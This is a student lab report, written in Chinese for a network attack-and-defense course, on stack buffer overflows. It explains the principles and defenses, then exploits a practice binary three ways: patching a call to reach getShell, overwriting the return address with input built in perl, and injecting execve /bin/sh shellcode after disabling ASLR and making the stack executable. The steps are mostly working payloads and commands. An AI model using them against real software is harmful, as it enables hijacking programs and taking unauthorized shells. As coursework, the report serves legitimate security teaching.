20252804 2025-2026-2 《网络攻防实践》实践九报告目录1.实践内容—1.1缓冲区溢出核心原理—1.2主流平台溢出利用技术—1.3缓冲区溢出防御技术2.实践过程3.学习中遇到的问题及解决4.实践总结1.实践内容1.1 缓冲区溢出核心原理攻击前提程序未对用户输入做长度校验存在可写入的缓冲区。攻击逻辑构造超长恶意数据覆盖栈上的函数返回地址将返回地址篡改为恶意代码Shellcode的内存地址函数执行完毕后跳转到 Shellcode 执行获取系统控制权。关键知识栈的结构缓冲区、EBP、函数返回地址、指令执行流程、内存寻址机制。1.2 主流平台溢出利用技术1Linux 平台栈溢出核心定位缓冲区地址构造 payload 覆盖返回地址跳转至 Shellcode。关键借助 JMP ESP 等指令精准跳转到恶意代码适配系统内存布局。2Windows 平台栈溢出与 Linux 原理一致因系统安全机制、内存管理不同利用细节有差异。经典技巧从系统 DLL 中查找 JMP ESP 指令绕过内存地址随机化的早期限制。3堆溢出针对堆内存的溢出攻击难度高于栈溢出利用堆管理机制漏洞实现代码执行。是高级漏洞利用的核心技术多用于复杂渗透场景。1.3 缓冲区溢出防御技术系统防护栈不可执行DEP禁止栈区执行代码阻断溢出后代码运行地址随机化ASLR随机化程序内存地址让攻击者无法精准定位 Shellcode栈金丝雀Canary在栈中插入校验值检测溢出行为。开发防护安全编码严格校验输入长度禁用 strcpy 等不安全函数编译器保护开启栈保护、边界检查等编译选项。2.实践过程本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段getShell会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段然后学习如何注入运行任何Shellcode。1手工修改可执行文件改变程序执行流程直接跳转到getShell函数。①按照实验要求修改文件名为学号kali虚拟机主机名为自己姓名②进入目标文件所在的文件夹把pwn20252804这个程序的汇编代码反汇编出来并且分页显示方便逐行查看。cd~/Desktop objdump-dpwn20252804|more③往下翻可以看到三个关键函数。getShell函数、foo函数和main函数。可以发现main 函数会主动调用foo但程序里没有任何地方主动调用getShell。漏洞点foo 里的 gets() 函数导致栈溢出攻击目标利用栈溢出覆盖foo的返回地址让程序执行完foo后不回到main而是跳转到getShell函数从而拿到Shell。确定getShell地址0x0804847d④打开pwn20252804文件显示乱码后使用指令改成以16进制的形式打开。vimpwn20252804 %!xxd⑤修改 call 指令的偏移量让函数返回时不再回到 main而是直接跳去 getShell 函数。找到需要修改的地方将d7 改为 c3。按ESC输入:%!xxd -r还原为原格式后再:wq保存退出。⑥恢复再次把pwn20252804这个程序的汇编代码反汇编出来发现确实已经修改。objdump-dpwn20252804|more⑦运行pwn20252804程序出现/bin/sh代表拿到shell实验成功2利用foo函数的Bof漏洞构造一个攻击输入字符串覆盖返回地址触发getShell函数。注意先要还原原文件pwn20252804①使用gdb工具调试程序先需要安装gdb一直选择yes即可安装。gdb pwn20252804②查看程序信息。发现foo函数存在漏洞超出部分将发生溢出实验目标是覆盖返回地址。缓冲区的起始地址是ebp - 0x1c返回地址的地址是ebp 4两者之间的字节数差就是偏移量 (ebp 4) - (ebp - 0x1c) 0x20 32字节objdump-dpwn20252804|more③使用gdb工具调试程序。再输入r运行。当输入1111111122222222333333334444444455555555时可以看到eip的值为0x35353535。④输入字符串1111111122222222333333334444444412345678那1234这四个数最终会覆盖到堆栈上的返回地址。因此只要把这四个字符替换为getShell的内存地址程序就会运行getShell。⑤前面已经确定getShell地址0x0804847d因此要输入11111111222222223333333344444444\x7d\x84\x04\x08。将要写入的字符串存到20252804txc_input文件中。perl-eprint 11111111222222223333333344444444\x7d\x84\x04\x08\x0a20252804txc_input xxd 20252804txc_input⑥将20252804txc_input中的内容注入到pwn20252804中。输入常见指令测试是否拿到shell成功(cat 20252804txc_input;cat)|./pwn202528043注入一个自己制作的shellcode并运行这段shellcode。①安装工具execstack_0.0.20131005-1.1_amd64.deb先下载再解压。wgethttp://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.debsudodpkg-iexecstack_0.0.20131005-1.1_amd64.deb②设置pwn20252804程序堆栈可执行并进一步查询是否设置成功。execstack-spwn20252804 execstack-qpwn20252804③查看地址随机化的状态需要关闭地址随机化。输出为0代表已关闭more/proc/sys/kernel/randomize_va_spaceecho0|sudotee/proc/sys/kernel/randomize_va_space④使用输出重定向将perl生成的字符串存储到input_20252804文件中perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ input_20252804⑤文件payload完成初始注入触发漏洞终端stdin接管后续输入维持交互式会话。再开一个终端2查看pwn20252804进程号为28681#终端1(cat input_20252804;cat)|./pwn20252804#终端2ps-ef|greppwn20252804⑥再开一个终端对pwn20252804文件进行gdb调试。在ret处设置断点ret的位置是0x080484ae。gdb pwn20252804 attach28681disassemble foobreak*0x080484ae⑦终端1按回车后再终端2输入c继续运行。查看栈顶指针所在的位置为0xffffcf6c0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 4 0xffffcf6c 4 0xffffcf70是0xffffcf70。info r esp x/16x 0xffffcf6c⑧退出gbd调试重新构造 input_20252804文件。并输入常见指令测试是否拿到shell成功perl-eprint A x 32;print \x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00input_20252804(cat input_20252804;cat)|./pwn20252804lswhoami3.学习中遇到的问题及解决问题1一开始直接使用指令sudo apt install execstack安装execstack失败问题1解决方案询问ai给出建议要使用Ubuntu的仓库和镜像可以快速下载wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb问题2输入指令sudo echo 0 /proc/sys/kernel/randomize_va_space时会报错zsh: permission denied: /proc/sys/kernel/randomize_va_space问题2解决方案询问ai给出建议 sudo echo 的重定向是在当前shell执行的没有sudo权限。换为echo 0 | sudo tee /proc/sys/kernel/randomize_va_space4.实践总结本次实验我掌握了反汇编、二进制修改、栈缓冲区溢出利用、shellcode 注入执行等核心技能理解了程序执行流程劫持与 Linux 二进制漏洞利用的基础原理。回顾了汇编语言、十六进制计算、gdb调试相关知识点。